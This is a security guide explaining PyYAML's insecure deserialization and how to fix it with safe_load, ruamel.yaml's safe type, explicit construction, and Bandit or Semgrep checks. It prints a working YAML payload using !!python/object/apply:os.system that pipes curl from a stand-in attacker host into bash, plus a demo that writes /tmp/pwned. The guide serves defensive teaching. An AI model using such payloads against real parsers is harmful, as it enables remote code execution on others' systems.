PyYAML and ruamel.yaml: Insecure Deserialization and Safe Alternatives

PyYAML's yaml.load() allows arbitrary code execution when processing untrusted input. This guide explains how the vulnerability works, demonstrates the attack, and shows the safe alternatives for PyYAML and ruamel.yaml that you should be using instead.

YAML configuration files are ubiquitous in Python projects: infrastructure definitions, application config, CI/CD pipelines, machine learning experiment tracking. Most developers loading YAML in Python reach for yaml.load() or yaml.safe_load() without thinking carefully about the distinction. That distinction matters, because yaml.load() with the default loader can execute arbitrary code on the system running it.

This is not a theoretical risk. It is a documented attack technique (CWE-502) with working public exploits, active exploitation in real-world incidents, and a straightforward fix that many codebases still haven’t applied.

How YAML Deserialization Becomes Code Execution

YAML supports a type system that goes well beyond strings, numbers, and lists. PyYAML’s default loader (FullLoader in recent versions, Loader in older versions) supports Python-specific YAML tags that instruct the parser to construct Python objects during loading.

The tag that makes this dangerous: !!python/object/apply. It instructs PyYAML to call a Python callable with the provided arguments during parsing.

A malicious YAML payload:

!!python/object/apply:os.system
- "curl -s http://attacker.example.com/c2.sh | bash"

When this string is passed to yaml.load(), PyYAML calls os.system("curl -s http://attacker.example.com/c2.sh | bash") during parsing. No additional steps. No exec call in your code. The execution happens at parse time.

A Python snippet demonstrating the issue:

import yaml

# DO NOT DO THIS - executes arbitrary code from input
malicious_input = """
!!python/object/apply:os.system
- "whoami > /tmp/pwned"
"""

result = yaml.load(malicious_input)  # executes whoami, writes to /tmp/pwned

This works in PyYAML versions before the FullLoader change (pre-5.1) without any Loader argument at all. In PyYAML 5.1 and later, yaml.load() without an explicit Loader argument emits a deprecation warning. But the FullLoader (which became default in 5.1) still supports !!python/object/new and object construction gadgets, making it unsafe for untrusted input.

The Safe Alternatives

For PyYAML, the fix is one argument:

import yaml

# Safe: SafeLoader only supports basic YAML types
data = yaml.safe_load(user_input)

# Also safe: explicit SafeLoader
data = yaml.load(user_input, Loader=yaml.SafeLoader)

# NOT safe for untrusted input:
data = yaml.load(user_input)                    # default FullLoader supports object tags
data = yaml.load(user_input, Loader=yaml.Loader)  # supports all Python types
data = yaml.load(user_input, Loader=yaml.FullLoader)  # safer but not fully safe
data = yaml.load(user_input, Loader=yaml.UnsafeLoader)  # explicitly unsafe

yaml.SafeLoader restricts parsing to YAML core types: strings, numbers, booleans, nulls, lists, and mappings. It does not support !!python/object/apply or any other Python-specific tag. Payloads using those tags raise a yaml.constructor.ConstructorError instead of executing them.

For ruamel.yaml:

from ruamel.yaml import YAML

# Safe: round-trip parser defaults to safe loading
yaml_parser = YAML()
data = yaml_parser.load(user_input)

# Also safe: explicitly specify safe type
yaml_parser = YAML(typ='safe')
data = yaml_parser.load(user_input)

# NOT safe:
yaml_parser = YAML(typ='unsafe')  # supports Python object construction
data = yaml_parser.load(user_input)

The default YAML() constructor in ruamel.yaml is safer than PyYAML’s default, but explicitly specifying typ='safe' removes ambiguity and makes the intent clear in code review.

When You Actually Need Custom Types

Some codebases use YAML to serialise Python objects, relying on the !!python/object tags to reconstruct application state. This is a design choice worth revisiting: YAML as an object serialisation format is fragile (tight coupling between YAML structure and Python class layout) and unsafe when input sources change.

If you genuinely need to deserialise Python objects from YAML, the safer approach is:

  1. Use yaml.safe_load() to get the raw dict/list structure
  2. Construct your objects explicitly from that structure
  3. Validate the structure before constructing objects
import yaml
from dataclasses import dataclass
from typing import Any

@dataclass
class Config:
    host: str
    port: int
    debug: bool = False

def load_config(yaml_string: str) -> Config:
    raw = yaml.safe_load(yaml_string)
    # Explicit construction with type validation
    if not isinstance(raw, dict):
        raise ValueError("Config must be a YAML mapping")
    return Config(
        host=str(raw["host"]),
        port=int(raw["port"]),
        debug=bool(raw.get("debug", False))
    )

This approach is explicit, type-safe, and gives you validation at the boundary rather than trusting the deserialiser.

Attack Surface in Practice

The exploit requires an attacker to control YAML input that reaches yaml.load(). That surface is wider than it looks:

  • Configuration files loaded at runtime: If an application loads a YAML config file from a user-controllable path, or allows users to upload YAML configs, the file content is attacker-controlled.
  • YAML-based API inputs: Some APIs accept YAML-formatted request bodies. If the server parses these with yaml.load(), any client can send exploit payloads.
  • CI/CD pipeline definitions: Many CI systems use YAML for pipeline configuration. A compromised or malicious pipeline YAML file processed by tooling using yaml.load() can execute code in the CI runner environment.
  • Machine learning experiment configs: Frameworks like Hydra, MLflow, and similar tools load YAML configuration at training time. A tampered config in a shared model registry or training pipeline is a code execution path.
  • Infrastructure-as-code tooling: Python-based IaC tools that parse YAML templates are an interesting target: they typically run with elevated permissions to provision cloud resources.

Detection and Remediation at Scale

Bandit (the Python SAST tool) includes rule B506 (yaml_load) that flags calls to yaml.load() without an explicit safe loader. Running Bandit in CI catches new instances before they reach main:

pip install bandit
bandit -r src/ -t B506

Semgrep has community rules for PyYAML unsafe usage that can be tuned to your codebase:

semgrep --config "p/python-security" src/

For remediation across a large codebase, the mechanical fix is a simple find-and-replace: yaml.load( becomes yaml.safe_load( in the majority of cases. Before doing this at scale, audit for any callsites that intentionally use Python object tags and require the migration to explicit construction described above.

After fixing the code, add the Bandit B506 rule to your CI pipeline as a gate. Any future yaml.load() call without an explicit safe loader fails the build.

References